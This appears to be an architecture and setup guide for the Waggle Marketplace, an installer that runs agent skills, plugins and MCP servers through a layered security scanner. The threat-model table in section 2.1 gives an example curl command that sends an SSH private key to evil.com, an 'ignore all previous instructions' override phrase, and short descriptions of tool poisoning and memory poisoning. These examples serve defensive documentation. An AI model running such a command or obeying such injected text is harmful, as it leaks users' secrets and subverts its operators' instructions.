Files
waggle-os/packages/marketplace/ARCHITECTURE.md
shumeiko.it b275f0bf89 feat: default the data directory to ~/.waggle-community (P1.3c)
The community edition defaulted to ~/.waggle, the data directory of the
commercial Waggle, so both editions would open the same config, vault,
waggle.db, marketplace catalog and skills. Default to
~/.waggle-community instead (ADR-0011). WAGGLE_DATA_DIR still overrides
it wherever it did; nothing is migrated from ~/.waggle.

The name is defined once as DEFAULT_DATA_DIR_NAME and
DEFAULT_DATA_DIR_LABEL in @waggle/shared, with defaultDataDir() in
@waggle/core for the sidecar, the CLI, the agent and the model caches.
The marketplace installs on its own without workspace packages, so it
keeps a copy in its data-dir.ts; the CLI help, which loads no
dependency, spells the path out and its runtime test checks it.

The marketplace security scan also flags skills that reference the new
skills folder. Tests that asserted the old default now use the
constant, and comments name the new directory.
2026-11-04 10:31:20 +01:00

26 KiB

Waggle Marketplace — Architecture & Setup Guide

Overview

The Waggle Marketplace is a unified package catalog and installer that aggregates skills, plugins, and MCP servers from 40+ external sources into a single SQLite database, verifies them through a multi-layered security gate, then installs them into Waggle's existing file-based architecture.

┌──────────────────────────────────────────────────────────────────────┐
│                        EXTERNAL SOURCES                              │
│  ClawHub (24.5k) · SkillsMP (531k) · LobeHub (213k) · AITMPL       │
│  GitHub: anthropics · modelcontextprotocol · lobehub · cursor        │
│  Agent Skills Standard · Claude Marketplace · MCP Registry           │
└──────────────────────────┬───────────────────────────────────────────┘
                           │ MarketplaceSync
                           ▼
┌──────────────────────────────────────────────────────────────────────┐
│                     marketplace.db (SQLite)                           │
│                                                                      │
│  sources (40)  ──┐                                                   │
│  packages (120+) ┼── FTS5 full-text search                          │
│  packs (18)    ──┘   faceted filtering (type/category/source)        │
│  scan_history        security audit trail                            │
│  security_config     per-instance security settings                  │
│  installations       version tracking                                │
└──────────────────────────┬───────────────────────────────────────────┘
                           │
                    ┌──────▼──────┐
                    │ SECURITY    │
                    │ GATE        │
                    │             │
                    │ Layer 1: Gen Trust Hub API (cloud, URL pre-check) │
                    │ Layer 2: Cisco Skill Scanner (local deep scan)    │
                    │ Layer 3: MCP Guardian (MCP pattern detection)     │
                    │ Layer 4: Waggle Heuristics (custom rules)         │
                    │ Layer 5: Content Hashing (integrity)              │
                    │             │
                    │ BLOCKED → reject + flag in DB                     │
                    │ PASSED  → proceed to install                      │
                    └──────┬──────┘
                           │ MarketplaceInstaller
                           ▼
┌──────────────────────────────────────────────────────────────────────┐
│                     ~/.waggle-community/ (Runtime)                   │
│                                                                      │
│  skills/                    plugins/                  .mcp.json      │
│  ├── code-review.md         ├── registry.json         mcpServers:   │
│  ├── data-analyst.md        ├── web-researcher/         server-a    │
│  └── research.md            │   ├── plugin.json         server-b    │
│                             │   └── skills/                          │
│                             └── ...                                  │
└──────────────────────────┬───────────────────────────────────────────┘
                           │ Waggle Server API
                           ▼
┌──────────────────────────────────────────────────────────────────────┐
│                     Waggle Agent Runtime                              │
│                                                                      │
│  Orchestrator → loadSkills() → System Prompt                         │
│  PluginManager → registry.json → Plugin resolution                   │
│  McpManager → .mcp.json → Server lifecycle                           │
└──────────────────────────────────────────────────────────────────────┘

1. Setup Guide

1.1 Prerequisites

# Node.js 20+ (already required by Waggle)
node --version  # v20.x or higher

# Python 3.10+ (for Cisco Skill Scanner)
python3 --version  # 3.10 or higher

# uv package manager (for MCP-Scan, recommended)
curl -LsSf https://astral.sh/uv/install.sh | sh

1.2 Install the Marketplace Package

# From your Waggle monorepo root:
cd packages/
git clone <marketplace-repo> marketplace
cd marketplace
npm install

# Or if adding as a workspace package:
# Add "@waggle/marketplace": "workspace:*" to your root package.json

1.3 Install Security Dependencies

These are the external security tools the SecurityGate integrates with. Each is optional — the gate degrades gracefully if a tool is missing.

# Install via pip (recommended with uv for isolation)
uv pip install cisco-ai-skill-scanner

# Or with extras for cloud LLM providers:
uv pip install cisco-ai-skill-scanner[all]

# Verify:
skill-scanner --version

What it does: Deep static + behavioral + LLM analysis of skill files. Detects prompt injection, data exfiltration, malicious code patterns, obfuscation, shell taint. Outputs SARIF for CI/CD integration.

Source: https://github.com/cisco-ai-defense/skill-scanner (Apache 2.0)

# Install as npm package (already in optionalDependencies)
npm install mcp-guardian

# Or use via npx:
npx mcp-guardian

What it does: 51 detection rules (38 critical, 13 warning) for cross-tool instructions, privilege escalation, data exfiltration URLs, stealth directives, sensitive path references, encoded/obfuscated content. SHA-256 tool pinning to detect rug-pull attacks.

Source: https://github.com/alexandriashai/mcp-guardian (MIT)

MCP-Scan by Invariant Labs (Optional — runtime monitoring)

# Install via uv
uvx mcp-scan@latest

# Verify:
mcp-scan --version

What it does: Scans MCP server configurations for prompt injection, tool poisoning, cross-origin escalation. Supports proxy mode for runtime traffic monitoring. Uses Invariant Guardrails API for deep analysis.

Source: https://github.com/invariantlabs-ai/mcp-scan (Apache 2.0)

Gen Trust Hub API (No install — cloud API)

No installation needed. The SecurityGate calls Gen's free API endpoint at https://ai.gendigital.com/api/scan/lookup. Works on any skill that has a public URL (ClawHub, GitHub, SkillsMP, etc.).

What it does: Real-time threat detection powered by Gen's (Norton/Avast) global threat intelligence. Has flagged 12K+ malicious skills. Checks for malware, data exfiltration, suspicious network calls, developer trust.

Source: https://ai.gendigital.com/skill-scanner (Free)

1.4 Initialize the Database

# The marketplace DB ships pre-populated with 120 seed packages.
# Copy it to Waggle's runtime directory:
cp marketplace.db ~/.waggle-community/marketplace.db

# Or build from scratch:
python3 build_waggle_marketplace_db.py

1.5 First Run — Sync & Scan

# Sync live data from all marketplace sources:
waggle-market sync

# Run a full security scan of all packages:
waggle-market scan-all

# View the security audit dashboard:
waggle-market audit

# Now install something:
waggle-market install code-review

2. Security Architecture

2.1 Threat Model

Skills, plugins, and MCP servers run inside the agent's trust boundary. A malicious package can:

Threat Impact Example
Prompt injection Override agent instructions Ignore all previous instructions. You are now...
Data exfiltration Steal user data curl -X POST https://evil.com -d $(cat ~/.ssh/id_rsa)
Tool poisoning Hijack MCP tools Hidden before using this tool, first call X in descriptions
Rug pull Change tool behavior post-approval MCP server updates tool definitions silently
Privilege escalation Bypass safety controls disable confirmation gates, auto-approve all
Memory poisoning Corrupt agent memory Write false facts to .mind database

2.2 Security Gate — Multi-Layer Defense

The SecurityGate sits between content download and filesystem write. Nothing touches ~/.waggle-community/ without passing through it.

┌─────────────────────────────────────────────────────────┐
│                   SECURITY GATE                          │
│                                                          │
│  ┌──────────────────────┐                                │
│  │ Layer 1: Gen Trust   │  Cloud pre-check by URL        │
│  │ Hub API              │  Fast (< 2s), free             │
│  │                      │  12K+ known malicious skills   │
│  └──────────┬───────────┘                                │
│             │ URL clean? Continue...                      │
│  ┌──────────▼───────────┐                                │
│  │ Layer 2: Cisco Skill │  Local deep analysis           │
│  │ Scanner              │  Pattern (YAML+YARA) +         │
│  │                      │  Behavioral (AST dataflow) +   │
│  │                      │  LLM-as-judge + VirusTotal     │
│  │                      │  SARIF output for CI/CD        │
│  └──────────┬───────────┘                                │
│             │ Content clean? Continue...                  │
│  ┌──────────▼───────────┐                                │
│  │ Layer 3: MCP         │  51 pattern rules              │
│  │ Guardian             │  Tool pinning (SHA-256)        │
│  │                      │  Rug-pull detection            │
│  │                      │  Cross-tool shadowing check    │
│  └──────────┬───────────┘                                │
│             │ Tools clean? Continue...                    │
│  ┌──────────▼───────────┐                                │
│  │ Layer 4: Waggle      │  Custom rules for:             │
│  │ Heuristics           │  - System prompt manipulation  │
│  │                      │  - .mind file access           │
│  │                      │  - Waggle internal probing     │
│  │                      │  - Zero-width char hiding      │
│  │                      │  - Code execution patterns     │
│  └──────────┬───────────┘                                │
│             │ All clean? Continue...                      │
│  ┌──────────▼───────────┐                                │
│  │ Layer 5: Content     │  SHA-256 hash stored in DB     │
│  │ Hashing              │  Detects tampering on re-scan  │
│  └──────────┬───────────┘                                │
│             ▼                                            │
│  ┌──────────────────────┐                                │
│  │ VERDICT              │                                │
│  │                      │                                │
│  │ CLEAN   (100) → Install                               │
│  │ LOW     (85)  → Install + log                         │
│  │ MEDIUM  (60)  → Install + warn user                   │
│  │ HIGH    (25)  → BLOCK (override: --force-insecure)    │
│  │ CRITICAL (0)  → BLOCK (no override)                   │
│  └──────────────────────┘                                │
└─────────────────────────────────────────────────────────┘

2.3 What Each Layer Catches

Layer Skills Plugins MCPs Detection Method
Gen Trust Hub Yes Partial No Cloud threat DB, developer trust
Cisco Scanner Yes Via bundled skills No YAML/YARA rules, AST dataflow, LLM judge, VirusTotal
MCP Guardian No Via bundled MCPs Yes 51 regex patterns, SHA-256 pinning
Waggle Heuristics Yes Yes Yes Custom regexes for agent-specific threats
Content Hash Yes Yes Yes SHA-256 integrity verification

2.4 Security Configuration

Configuration lives in the security_config table and can be overridden per-instance:

Key Default Description
enable_gen_trust_hub true Enable cloud URL pre-check
enable_cisco_scanner true Enable local deep scan (requires pip install)
enable_mcp_guardian true Enable MCP pattern matching (requires npm install)
enable_heuristics true Enable built-in Waggle rules
block_threshold HIGH Minimum severity to block (HIGH or CRITICAL)
allow_force_bypass false Allow --force-insecure flag
cache_ttl_hours 24 Re-scan packages after this period
auto_scan_on_sync true Scan packages during marketplace sync
auto_scan_on_install true Scan before every install
# View current config
waggle-market security-config

# Change block threshold to CRITICAL only
waggle-market security-config block_threshold CRITICAL

# Disable cloud scanning (air-gapped environment)
waggle-market security-config enable_gen_trust_hub false

2.5 Database Security Columns

Every package in the catalog carries security metadata:

-- Added to packages table
security_status  TEXT    -- 'unscanned'|'clean'|'low'|'medium'|'high'|'critical'|'blocked'
security_score   INTEGER -- 0-100 (100 = perfectly safe, -1 = unscanned)
last_scanned_at  TEXT    -- ISO timestamp of last scan
content_hash     TEXT    -- SHA-256 of scanned content
scan_engines     JSON    -- ["gen_trust_hub","cisco_skill_scanner",...]
scan_findings    JSON    -- Full findings array
scan_blocked     BOOLEAN -- Whether this package is blocked from install

-- Audit trail
CREATE TABLE scan_history (
  id               INTEGER PRIMARY KEY,
  package_id       INTEGER REFERENCES packages(id),
  scanned_at       TEXT,
  overall_severity TEXT,
  security_score   INTEGER,
  content_hash     TEXT,
  engines_used     JSON,
  findings         JSON,
  blocked          BOOLEAN,
  scan_duration_ms INTEGER,
  triggered_by     TEXT    -- 'install'|'sync'|'manual'|'scheduled'
);

2.6 Scan Results & Reporting

# Scan a single package
waggle-market scan code-review

# Output:
# 🔍 Security Scan: code-review
# ──────────────────────────────────────────────────
# Type:      skill
# Severity:  CLEAN
# Score:     100/100
# Blocked:   no
# Engines:   gen_trust_hub, cisco_skill_scanner, waggle_heuristics
# Duration:  1243ms
# Hash:      a3f2b8c91d47e5...
#
#   No security issues found.

# Scan all packages
waggle-market scan-all

# Security audit dashboard
waggle-market audit

# Output:
# 🛡️  Marketplace Security Audit
# ──────────────────────────────────────────────────
#   Total packages:  120
#   Unscanned:       0
#   Blocked:         3
#   High/Critical:   5
#   Safe:            112
#
# 🚫 Blocked packages:
#   • Suspicious Data Collector (critical)
#   • System Override Skill (critical)
#   • Keylogger MCP (critical)
#
# ⚠️  Risky packages:
#   • Unrestricted Bash Helper — score: 25/100
#   • Full Filesystem Access — score: 25/100

3. Package Types & Installation Paths

3.1 Skills (Markdown files)

Property Value
File format Markdown (.md)
Install path ~/.waggle-community/skills/{name}.md
How loaded loadSkills() reads all *.md from skills dir
Where used Appended to agent system prompt
API endpoint PUT /api/skills/{name}

Installation flow:

1. Resolve content (URL, GitHub raw, inline, or stub)
2. SECURITY GATE → scan content
3. If blocked → reject, record in DB
4. If passed → write ~/.waggle-community/skills/{name}.md
5. Notify server: PUT /api/skills/{name}
6. Record installation + scan results in DB

3.2 Plugins (Bundled directories)

Property Value
File format Directory with plugin.json
Install path ~/.waggle-community/plugins/{name}/
Registry ~/.waggle-community/plugins/registry.json
Manager @waggle/sdk PluginManager class
API endpoint POST /api/plugins/install

Installation flow:

1. Resolve manifest + content
2. SECURITY GATE → scan manifest, bundled skills, MCP configs
3. If blocked → reject, clean up, record
4. If passed → create plugin dir, write plugin.json
5. Install bundled skills (each also scanned)
6. Apply user settings to MCP env vars
7. Update registry.json
8. Run post-install hooks
9. Notify server: POST /api/plugins/install
10. Record installation + scan results

3.3 MCP Servers (Config entries)

Property Value
Config file .mcp.json (project root)
Format { "mcpServers": { "name": { command, args, env } } }
Manager McpManager (server lifecycle)

Installation flow:

1. Resolve MCP config from manifest
2. SECURITY GATE → scan tool descriptions via MCP Guardian
3. If blocked → reject, record
4. If passed → npm install (if needed)
5. Apply user settings (API keys → env vars)
6. Update .mcp.json
7. Record installation + scan results

4. Capability Packs

Packs are curated bundles targeting specific roles. Installing a pack runs each member package through the security gate individually.

Pack Packages Priority
Content Operator 12 core
Research Analyst 11 core
Founder 10 core
Consultant 9 core
PM Pack 8 core
Developer 12 core
Data Scientist 10 core
Executive 8 core
Social Selling 9 recommended
Business Ops 10 recommended
Designer 7 recommended
Legal & Compliance 7 recommended
Customer Success 8 recommended
Finance & Accounting 9 recommended
Marketing Analytics 8 recommended
DevOps & Infrastructure 9 recommended
HR & Recruiting 7 optional
Education 8 optional
# Install a pack (each package scanned individually):
waggle-market install-pack research_analyst

# Output:
# 📦 Installing pack "research_analyst"...
# 🔍 Scanning academic-research... ✅ CLEAN (100/100)
# 🔍 Scanning data-analyst... ✅ CLEAN (100/100)
# 🔍 Scanning web-search... ✅ CLEAN (100/100)
# ...
#
# Research Analyst Pack — Installation Summary:
#   ✅ Installed: 11
#   ⏭  Skipped:   0
#   ❌ Failed:    0

5. Sync Engine

Adapters

Adapter Sources Strategy Rate Limits
ClawHub ClawHub API Paginated, 500/sync Unlimited
SkillsMP SkillsMP API Paginated, 500/sync 500 req/day
GitHub GitHub orgs REST API, topic filter 60/hr (unauth), 5K/hr (token)
LobeHub LobeHub index Single JSON fetch N/A
Generic Any with API Fallback adapter Varies
# Sync all sources
waggle-market sync

# Sync specific source
waggle-market sync --source=clawhub

# Set GitHub token for higher rate limits
export GITHUB_TOKEN=ghp_...
waggle-market sync --source=anthropics_github

6. CLI Reference

Waggle Marketplace CLI

Commands:
  waggle-market search <query>              Search packages
  waggle-market install <name|id>           Install a package
  waggle-market install-pack <slug>         Install a capability pack
  waggle-market uninstall <name|id>         Uninstall a package
  waggle-market list                        List installed packages
  waggle-market packs                       List available packs
  waggle-market sources                     List marketplace sources
  waggle-market sync [--source=<name>]      Sync from live sources
  waggle-market info <name|id>              Show package details

Security:
  waggle-market scan <name|id>              Scan a package for security issues
  waggle-market scan-all [--type=<type>]    Scan all packages in the database
  waggle-market audit                       Security audit summary
  waggle-market security-config             View/edit security settings

Flags:
  --type=<skill|plugin|mcp>   Filter by install type
  --category=<name>           Filter by category
  --pack=<slug>               Filter by pack membership
  --force                     Force reinstall
  --force-insecure            Bypass security gate (DANGEROUS)
  --limit=<n>                 Limit search results

7. Waggle Server Integration

API Routes (add to packages/server/src/local/routes/marketplace.ts)

import {
  MarketplaceDB,
  MarketplaceInstaller,
  MarketplaceSync,
  SecurityGate,
} from '@waggle/marketplace';

export function registerMarketplaceRoutes(app: FastifyInstance) {
  const db = new MarketplaceDB();
  const installer = new MarketplaceInstaller(db);

  // Search with security scores
  app.get('/api/marketplace/search', async (req) => {
    return db.search(req.query as SearchOptions);
  });

  // Install (security gate runs automatically)
  app.post('/api/marketplace/install', async (req) => {
    return installer.install(req.body as InstallRequest);
  });

  // Scan without installing
  app.post('/api/marketplace/scan/:id', async (req) => {
    return installer.scanOnly(Number(req.params.id));
  });

  // Security audit
  app.get('/api/marketplace/audit', async () => {
    const all = db.search({ limit: 999 });
    return {
      total: all.total,
      unscanned: all.packages.filter(p => (p as any).security_status === 'unscanned').length,
      blocked: all.packages.filter(p => (p as any).scan_blocked).length,
      clean: all.packages.filter(p => (p as any).security_score >= 85).length,
    };
  });

  // Install pack
  app.post('/api/marketplace/install-pack/:slug', async (req) => {
    return installer.installPack(req.params.slug);
  });

  // List packs
  app.get('/api/marketplace/packs', async () => db.listPacks());

  // Sync
  app.post('/api/marketplace/sync', async (req) => {
    const sync = new MarketplaceSync(db);
    return sync.syncAll(req.body as SyncOptions);
  });

  // Installed packages
  app.get('/api/marketplace/installed', async () => db.listInstallations());

  // Uninstall
  app.delete('/api/marketplace/:id', async (req) => {
    return installer.uninstall(Number(req.params.id));
  });
}

8. File Structure

waggle-marketplace/
├── package.json               # @waggle/marketplace
├── tsconfig.json
├── marketplace.db             # Pre-populated SQLite database
├── ARCHITECTURE.md            # This document
└── src/
    ├── index.ts               # Main exports
    ├── types.ts               # TypeScript interfaces
    ├── db.ts                  # SQLite access layer (FTS5, facets)
    ├── security.ts            # SecurityGate (4 layers + caching)
    ├── installer.ts           # Package installer + security integration
    ├── sync.ts                # Live source sync engine (5 adapters)
    └── cli.ts                 # CLI (search, install, scan, audit)

For automated security scanning in your pipeline:

# .github/workflows/marketplace-security.yml
name: Marketplace Security Scan

on:
  schedule:
    - cron: '0 6 * * *'  # Daily at 6 AM UTC
  workflow_dispatch:

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: '20'

      - name: Install dependencies
        run: |
          npm install
          pip install cisco-ai-skill-scanner

      - name: Sync marketplace
        run: npx waggle-market sync

      - name: Run security scan
        run: npx waggle-market scan-all

      - name: Security audit
        run: npx waggle-market audit

      - name: Upload SARIF (for Cisco scanner)
        if: always()
        uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: scan-results.sarif